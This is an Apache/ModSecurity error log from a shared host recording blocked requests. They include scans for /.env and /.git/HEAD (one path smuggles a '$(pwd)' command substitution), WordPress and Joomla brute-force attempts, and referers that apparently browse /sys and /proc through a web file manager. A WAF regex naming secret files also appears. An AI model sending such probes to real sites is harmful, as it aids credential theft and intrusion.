https://homs.co.ke/?act=download&file=modalias&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:20:18.872727 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?act=download&file=modalias&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:20:18.924552 2026] [access_compat:error] [pid 646876:tid 646900] [remote 57.141.14.32:30981] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:18.924971 2026] [access_compat:error] [pid 646876:tid 646900] [remote 57.141.14.32:30981] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:19.109625 2026] [access_compat:error] [pid 648189:tid 648226] [remote 57.141.14.95:42989] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:19.110031 2026] [access_compat:error] [pid 648189:tid 648226] [remote 57.141.14.95:42989] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:19.111898 2026] [access_compat:error] [pid 648189:tid 648303] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:19.112150 2026] [access_compat:error] [pid 648189:tid 648303] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:19.170526 2026] [security2:error] [pid 648189:tid 648312] [remote 17.22.237.139:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zw1WSojQL4F7upKCEWgABA1o"] [Sat Jun 13 18:20:19.210896 2026] [security2:error] [pid 648189:tid 648438] [client 185.177.72.9:43320] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/$(pwd)/.env"] [unique_id "ai3zw1WSojQL4F7upKCEXAAAANk"] [Sat Jun 13 18:20:19.261298 2026] [security2:error] [pid 646876:tid 646975] [remote 74.7.241.11:37276] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.241.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3zw9yTkdrNlD40tSG9ygAAFmA"], referer: https://homs.co.ke/?action=adminer&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:20:19.304919 2026] [security2:error] [pid 648189:tid 648271] [remote 17.246.23.22:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zw1WSojQL4F7upKCEYAAA1zE"] [Sat Jun 13 18:20:19.398564 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:20:19.398861 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:20:19.424424 2026] [security2:error] [pid 646876:tid 647090] [client 77.83.36.161:34196] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "143"] [id "900402"] [msg "Joomla administrator POST logging"] [data "200"] [hostname "muranoaviacion.com"] [uri "/administrator/index.php"] [unique_id "ai3zw9yTkdrNlD40tSG9zAAAAFI"] [Sat Jun 13 18:20:19.464383 2026] [access_compat:error] [pid 648189:tid 648286] [remote 57.141.14.24:30828] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:19.464821 2026] [access_compat:error] [pid 648189:tid 648286] [remote 57.141.14.24:30828] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:19.599171 2026] [security2:error] [pid 648189:tid 648239] [remote 47.128.62.26:49550] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "cityofmarional.com"] [uri "/dexter-hinton/"] [unique_id "ai3zw1WSojQL4F7upKCEcgAArBI"] [Sat Jun 13 18:20:19.612079 2026] [access_compat:error] [pid 648189:tid 648287] [remote 57.141.14.71:54420] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:19.612502 2026] [access_compat:error] [pid 648189:tid 648287] [remote 57.141.14.71:54420] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:19.709507 2026] [security2:error] [pid 648189:tid 648381] [client 172.56.168.133:14919] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zw1WSojQL4F7upKCEfgAAAKE"] [Sat Jun 13 18:20:19.709711 2026] [security2:error] [pid 648189:tid 648381] [client 172.56.168.133:14919] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zw1WSojQL4F7upKCEfgAAAKE"] [Sat Jun 13 18:20:19.759375 2026] [security2:error] [pid 648189:tid 648222] [remote 17.22.253.218:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 218.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zw1WSojQL4F7upKCEhQAAuQI"] [Sat Jun 13 18:20:19.770043 2026] [security2:error] [pid 648189:tid 648430] [client 45.130.203.224:36375] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "cpcalendars.hannahjune.com"] [uri "/.git/HEAD"] [unique_id "ai3zw1WSojQL4F7upKCEiAAAANE"] [Sat Jun 13 18:20:19.779183 2026] [security2:error] [pid 648189:tid 648480] [client 45.130.203.183:51075] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "hannahjune.michellemattar.com"] [uri "/.git/HEAD"] [unique_id "ai3zw1WSojQL4F7upKCEigAAAP4"] [Sat Jun 13 18:20:19.855015 2026] [security2:error] [pid 648189:tid 648467] [client 45.130.203.206:60819] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "www.hannahjune.com"] [uri "/.git/HEAD"] [unique_id "ai3zw1WSojQL4F7upKCEkQAAAPE"] [Sat Jun 13 18:20:19.890281 2026] [security2:error] [pid 646876:tid 647079] [client 45.130.203.196:59725] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "www.hannahjune.michellemattar.com"] [uri "/.git/HEAD"] [unique_id "ai3zw9yTkdrNlD40tSG91wAAAEc"] [Sat Jun 13 18:20:19.989890 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.3:59420] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:19.990334 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.3:59420] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:20.178763 2026] [security2:error] [pid 648189:tid 648446] [client 77.83.36.161:34668] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "143"] [id "900402"] [msg "Joomla administrator POST logging"] [data "200"] [hostname "muranoaviacion.com"] [uri "/administrator/index.php"] [unique_id "ai3zxFWSojQL4F7upKCElwAAAOA"] [Sat Jun 13 18:20:20.272240 2026] [security2:error] [pid 648189:tid 648453] [client 185.177.72.9:43320] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/var/www/.env"] [unique_id "ai3zxFWSojQL4F7upKCEngAAAOc"] [Sat Jun 13 18:20:20.415109 2026] [security2:error] [pid 648189:tid 648474] [client 185.177.72.9:43320] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/var/www/html/.env"] [unique_id "ai3zxFWSojQL4F7upKCEpwAAAPg"] [Sat Jun 13 18:20:20.463691 2026] [security2:error] [pid 648189:tid 648281] [remote 168.63.79.147:47402] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.79.63.168.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mrbradgoreski.com"] [uri "/wp-login.php"] [unique_id "ai3zxFWSojQL4F7upKCEqQAA5Ds"], referer: https://mrbradgoreski.com/wp-login.php [Sat Jun 13 18:20:20.491838 2026] [core:error] [pid 648189:tid 648378] [client 45.86.200.6:20335] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:20.491860 2026] [core:error] [pid 648189:tid 648378] [client 45.86.200.6:20335] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:20.550100 2026] [access_compat:error] [pid 648189:tid 648315] [remote 57.141.14.112:25282] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:20.550376 2026] [access_compat:error] [pid 648189:tid 648315] [remote 57.141.14.112:25282] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:20.556391 2026] [security2:error] [pid 648189:tid 648384] [client 185.177.72.9:43320] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/opt/.env"] [unique_id "ai3zxFWSojQL4F7upKCEsQAAAKQ"] [Sat Jun 13 18:20:20.589872 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.31:37592] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:20.590216 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.31:37592] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:20.670096 2026] [security2:error] [pid 646876:tid 647051] [client 210.217.96.217:1963] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zxNyTkdrNlD40tSG96wAAACs"] [Sat Jun 13 18:20:20.670238 2026] [security2:error] [pid 646876:tid 647051] [client 210.217.96.217:1963] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zxNyTkdrNlD40tSG96wAAACs"] [Sat Jun 13 18:20:20.698323 2026] [security2:error] [pid 648189:tid 648413] [client 185.177.72.9:43320] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/srv/.env"] [unique_id "ai3zxFWSojQL4F7upKCEtgAAAMA"] [Sat Jun 13 18:20:20.952155 2026] [security2:error] [pid 648189:tid 648440] [client 77.83.36.161:35090] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "143"] [id "900402"] [msg "Joomla administrator POST logging"] [data "200"] [hostname "muranoaviacion.com"] [uri "/administrator/index.php"] [unique_id "ai3zxFWSojQL4F7upKCEvQAAANs"] [Sat Jun 13 18:20:21.051039 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDcvaWQ= [Sat Jun 13 18:20:21.051457 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDcvaWQ= [Sat Jun 13 18:20:21.122690 2026] [access_compat:error] [pid 646876:tid 646966] [remote 57.141.14.74:26528] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:21.123105 2026] [access_compat:error] [pid 646876:tid 646966] [remote 57.141.14.74:26528] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:21.421308 2026] [security2:error] [pid 646876:tid 646947] [remote 17.22.245.191:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 191.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zxdyTkdrNlD40tSG9_gAAW0Q"] [Sat Jun 13 18:20:21.435943 2026] [access_compat:error] [pid 648189:tid 648301] [remote 57.141.14.76:25235] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:21.436218 2026] [access_compat:error] [pid 648189:tid 648301] [remote 57.141.14.76:25235] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:21.557559 2026] [security2:error] [pid 646876:tid 646995] [remote 17.241.219.171:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 171.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zxdyTkdrNlD40tSG-AQAACHQ"] [Sat Jun 13 18:20:21.611105 2026] [access_compat:error] [pid 646876:tid 646919] [remote 57.141.14.62:45792] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:21.611540 2026] [access_compat:error] [pid 646876:tid 646919] [remote 57.141.14.62:45792] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:21.706313 2026] [security2:error] [pid 648189:tid 648266] [remote 119.195.102.159:48102] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 159.102.195.119.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3zxVWSojQL4F7upKCE0wAAxCw"], referer: https://djstardao.com/wp-login.php [Sat Jun 13 18:20:21.910248 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.78:24050] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:21.910713 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.78:24050] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:21.936159 2026] [access_compat:error] [pid 648189:tid 648255] [remote 74.7.227.22:58628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:20:21.936587 2026] [access_compat:error] [pid 648189:tid 648255] [remote 74.7.227.22:58628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:20:22.090178 2026] [core:error] [pid 648189:tid 648470] [client 45.86.200.20:54979] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:22.090202 2026] [core:error] [pid 648189:tid 648470] [client 45.86.200.20:54979] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:22.405373 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 